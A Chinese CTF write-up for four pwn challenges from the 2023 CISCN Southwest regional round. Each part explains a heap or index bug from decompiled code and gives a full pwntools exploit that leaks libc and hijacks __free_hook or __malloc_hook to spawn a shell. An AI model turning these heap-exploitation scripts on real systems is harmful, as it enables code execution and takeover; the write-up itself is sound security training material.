文章

2023 ciscn西南赛区 pwn Writeup

题目挺抽象的,好久没打比赛了十分手生😢,决赛加油吧

fix的话,over和artist都是加上沙箱即可。car_manager和223heap把free或者delete函数全部nop掉即可。

下面是break部分

car_manager

C++的堆菜单题,抹了函数名,逆向起来有难度的话可以动调来推测功能

申请了4个0x8的堆块作为轮子放置了tire_size和tire_pressure,0x68作为车子本体,包含了make、model、year等信息,在最后放置了四个轮子的堆块指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for ( i = 0; i <= 3; ++i )
  {
    *(&v10 + i) = operator new(8uLL);
    if ( tire_size )
      **(&v10 + i) = tire_size;
    if ( tire_pressure )
      *(*(&v10 + i) + 4) = tire_pressure;
  }
  if ( year )
  {
    std::string::basic_string(v14, make);
    std::string::basic_string(v15, model);
    v1 = operator new(0x68uLL);
    sub_3644(v1, v14, v15, year, v10, v11, v12, v13);
    v7 = v1;
    std::string::~string(v15);
    std::string::~string(v14);
    sub_3C48(a1, &v7);
    std::operator<<<std::char_traits<char>>(&std::cout, "Car added successfully!\n");
  }

copy函数中在复制轮子时,也直接复制4个轮子的堆块指针,这导致free原本的车子堆块后新车辆轮子堆块内容不再是tire_size和tire_pressure,而变为tcache上的堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall sub_3B46(_QWORD *a1, _QWORD *a2)
{
  __int64 v2; // rdx
  __int64 result; // rax
  __int64 v4; // rdx

  std::string::basic_string(a1, a2);
  std::string::basic_string(a1 + 4, a2 + 4);
  a1[8] = a2[8];
  v2 = a2[10];
  a1[9] = a2[9];
  a1[10] = v2;
  result = a2[11];
  v4 = a2[12];
  a1[11] = result;
  a1[12] = v4;
  return result;
}

实际上实现了一个UAF漏洞,free函数的机制则是当我们free一个堆块时,会将下一个车子堆块依次回退一格,但高位仍保留

触发漏洞即可完成堆地址的泄露,利用UAF劫持tcache堆块的fd,申请到unsortbin堆块泄露libc,再次劫持fd申请到free_hook完成利用

(值得注意的是,在申请unsortbin位置堆块后导致双向链表被破坏,无法再从unsortbin里申请堆块,要控制劫持的tcache位置,满足申请一次需要的4个0x20堆块)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

p = process("./car_manager")
elf = ELF("./car_manager")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------


def add(make,model,year,size,pressure):
    sla("Please enter your choice:",1)
    sla("Enter the make of the car: ",make)
    sla("Enter the model of the car: ",model)
    sla("Enter the year of the car: ",year)
    sla("Enter the size of tire : ",size)
    sla("Enter the pressure of tire : ",pressure)

def dele(idx):
    sla("Please enter your choice:",2)
    sla("Enter the index of the car to delete: ",idx)

def find(make,model,year):
    sla("Please enter your choice:",3)
    sla("Enter the make of the car to find: ",make)
    sla("Enter the model of the car to find: ",model)
    sla("Enter the year of the car to find: ",year)

def edit(idx, make, model, year, choice, tire_size, tire_pressure, tire_idx=None):
    sla("Please enter your choice:",4)
    sla("Enter the index of the car to modify: ",idx)
    sla("Enter the new make of the car: ",make)
    sla("Enter the new model of the car: ",model)
    sla("Enter the new year of the car: ",year)
    sla("Do you want to change all tires?(1/0)",choice)
    if choice==1:
        sla("Enter the new size of tire : ",tire_size)
        sla("Enter the new pressure of tire : ",tire_pressure)
    else:
        sla("Enter the idx of tire : ",tire_idx)
        sla("Enter the new size of tire : ",tire_size)
        sla("Enter the new pressure of tire : ",tire_pressure)

def copy(idx):
    sla("Please enter your choice:",5)
    sla("Enter the index of the car to copy: ",idx)


def show():
    sla("Please enter your choice:",6)

for i in range(0x101):
    add('e4l4',i,1999,0x10,0x10)


copy(0)
copy(255)
dele(0)
show()
ru("Tire Sizes: 0, ")
heap_base_2 = int((ru(",")[:-1]),10)
lg('heap_base_2')

ru("Tire Pressures: 0, ")
heap_base_1 = int((ru(",")[:-1]),10)
lg('heap_base_1')

heap_base = (heap_base_1 << 32)+heap_base_2-0x011eb0
lg('heap_base')

unsort_heap_2 = (heap_base+0x01a0b0)&0xffffffff
unsort_heap_1 = (heap_base+0x01a0b0)>>32
edit(256,'e4l4',1,1999,1,unsort_heap_2+0x10,unsort_heap_1)
add('e4l4',259,1999,0,0)

show()
ru("Car 258:")
ru(", ")
libc_base_2 = int((ru(",")[:-1]),10)
ru("Tire Pressures: ")
ru(", ")
libc_base_1 = int((ru(",")[:-1]),10)
libc_base = (libc_base_1 << 32)+libc_base_2-0x1ecbe0
lg("libc_base")

free_hook = libc_base + 0x1eee48
system = libc_base + 0x52290
sh = 0x68732f6e69622f

dele(257)
show()

edit(254,'e4l4',1,1999,0,free_hook&0xffffffff,free_hook>>32,1)
edit(254,'e4l4',1,1999,0,sh&0xffffffff,sh>>32,0)
add('e4l4','e4l4',1999,system&0xffffffff,system>>32)
dele(254)

ia()

artist

这道题漏洞挺多,关键漏洞点在于3号功能在第一次使用时,可以将一个ptr堆块地址放进buf,然后可以进入一个执行分支,输入yes可以在buf附近的位置写入0,这里可以实现任意libc地址写0,但似乎用不上。最后会执行一个对buf的0x10的写入,由于第二次开始不用再输入idx就能直接对buf进行修改,如果buf的堆块被free,就达到了一个UAF的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 sub_1411()
{
  unsigned int v1; // [rsp+8h] [rbp-38h] BYREF
  int v2; // [rsp+Ch] [rbp-34h]
  char s1[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0;
  if ( isFirst )
  {
    write_s("What? Great artists need scrap paper for art?\n");
    write_s("idx: \n");
    __isoc99_scanf("%u", &v1);
    buf = *(&ptr + v1 + 4);
    isFirst = 0;
  }
  write_s("do you want crazy\n");
  __isoc99_scanf("%3s", s1);
  if ( !strncmp(s1, "yes", 3uLL) )
    v2 = 1;
  if ( v2 )
    set_0();
  return read_buf();
}

idx不会减少,最大为19(需要注意的是,而执行功能2当idx大于>15时程序会exit)

放置idx过大,所以利用UAF劫持申请到tcache_struct,修改tcache堆块个数,从而将堆块放入unsortbin泄露libc地址,同样的办法再劫持tcache的fd申请free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

# p = remote("","")
p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------

def add(con):
    sla(">",1)
    p.sendafter("input some",con)

def edit(idx,con):
    sla(">",2)
    sla("idx:",idx)
    sla("Would you like to make final edits?",1)
    p.sendafter("input your content",con)

def show(idx):
    sla(">",2)
    sla("idx:",idx)
    sla("Would you like to make final edits?",2)

# x/32gx $rebase(0x4088)

buf = 0x4060
ptr = 0x4088

sla("Let us get to know each other.",'e4l4')

add('a')# 0
add('a')# 1
add('a')# 2
show(2)
show(0)
show(1)
add('a')# 3
add('a')# 4


sla(">",3)
sla("idx:",3)
sa("do you want crazy",'f\n')
sa("Go ahead and doodle for your artistic inspiration.",'a')


show(3)
ru("Please enjoy your masterpiece.\n")
heap_base = uu64()
lg("heap_base")

sla(">",3)
sa("do you want crazy",'f\n')
sa("Go ahead and doodle for your artistic inspiration.",p64(heap_base-0x261+0x10))

add('a')# 5
add('\x00'*0xe+'\x07\x00')# 6

show(5)
show(4)

edit(6,'\x00'*0x10)

add('a')# 7
show(7)
libc_base = l64()-0x1ecc61
lg('libc_base')
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base +libc.sym["system"]

add('a')# 8
add('a')# 9

show(8)
show(9)
sla(">",3)
sa("do you want crazy",'f\n')
sa("Go ahead and doodle for your artistic inspiration.",p64(free_hook))

add('/bin/sh\x00')# 10
add(p64(system))
# dbg()
show(10)

ia()

over

题目看上去存在一个很复杂的算法,观察发现其3个功能都是对*(&ptr + num + 12)这个位置的值进行加减异或,而num却为int类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 *sub_156C()
{
  int v0; // ecx
  __int64 *result; // rax
  int i; // [rsp+4h] [rbp-4Ch]
  int v3; // [rsp+8h] [rbp-48h]
  int v4; // [rsp+1Ch] [rbp-34h]
  int v5[10]; // [rsp+20h] [rbp-30h]
  unsigned __int64 v6; // [rsp+48h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  show("what do you want to choose\n");
  v3 = read_num();
  if ( v3 > 4 )
    exit(0);
  v4 = (0x35DA * v3 - 0x4B2D) ^ 0xC925;
  for ( i = 0; i <= 9; ++i )
  {
    v5[i] = (0x35DA * v3) ^ v3 ^ (0x35DA * v3) ^ 42641;
    v5[i] += v4;
  }
  ptr += v4;
  show("some add\n");
  v0 = *(&ptr + v3 + 12) + read_num();
  result = &ptr;
  *(&ptr + v3 + 12) = v0;
  return result;
}

题目开始将puts的真实地址放在了puts_addr 变量上。由于有效的输出函数无法泄露libc,这里可以控制num来修改puts_addr为system函数的真实地址,也就是puts函数的真实地址+相对偏移=system函数的真实地址,再调用4功能即可实现getshell。

num的计算可以参考汇编,0x28/4-0xc=-2

1
2
3
4
5
6
//*(&ptr + v3 + 12) = v0;
.text:0000000000001688 48 83 C0 0C                   add     rax, 0Ch
.text:000000000000168C 48 8D 14 85 00 00 00 00       lea     rdx, ds:0[rax*4]
.text:0000000000001694 48 8D 05 C5 29 00 00          lea     rax, ptr
.text:000000000000169B 89 0C 02                      mov     [rdx+rax], ecx
.text:000000000000169E 90                            nop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

p = remote("172.16.9.41","8888")
# p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------

sla("what is your name",'/bin/sh')

def add(idx,con):
    sla("what do you want to do",1)
    sla("what do you want to choose",idx)
    sla("some add\n",con)

def clean(idx,con):
    sla("what do you want to do",2)
    sla("what do you want to choose",idx)
    sla("some add\n",con)

def xor(idx,con):
    sla("what do you want to do",3)
    sla("what do you want to choose",idx)
    sla("some add\n",con)

# dbg(0x153F)
clean(-2,0x032190)
sla("what do you want to do",4)
ia()

223heap

题目一共能申请三种大小的堆块,分别存放在free/ptr/buf中(这里的free覆盖并不能达到执行函数的目的,因为free_got已经存在真实函数地址),通过切割unsortbin堆块可以获得libc地址

dele功能0/1/2分别指代buf ptr free,难点在于free(1)即free ptr时,会导致ptr_size被置为0,没有办法使用show功能,所以要注意泄露地址之前不能free(1)

由于在进行free时并不会对指针置0,可以操作指针让它们指向同一堆块,实现堆叠,利用edit功能实现UAF的利用

1
2
00000000006020c0     00000000009b6010 00000000009b6010
00000000006020d0     00000000009b6010 0000000000000000

由于2.23只能申请fastbin,所以申请0x68的堆块,劫持到malloc_hook-0x23,覆盖为one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

# p = remote("","")
p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------

def add(size,con):
    sla("input:",1)
    sla("please enter size of malloc :",size)
    p.sendafter("please enter contents of your heap:",con)

def edit(con):
    sla("input:",4)
    sla("please enter what you want to edit:",con)

def show():
    sla("input:",2)

def dele(idx):
    sla("input:",3)
    sla("please enter which heap you want to delete:",idx)

def malloc_s():
    sla("input:",5)


buf = 0x6020C0
puts = elf.plt['puts']

add(0x300,p64(puts))
add(0x38,'a')
dele(2)

add(0x100,'a')
show()
libc_base = l64()-0x3c4e61
lg('libc_base')
free_hook = libc_base+0x3c67a8
malloc_hook = libc_base+libc.sym["__malloc_hook"]
lg('free_hook')
one = libc_base + 0x4527a 

dele(1)
add(0x68,'a')
dele(2)
edit(p64(malloc_hook-0x23))
add(0x60,'a')
add(0x60,'a'*0x13+p64(one))

malloc_s()
ia()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
  '''
本文由作者按照 CC BY 4.0 进行授权

热门标签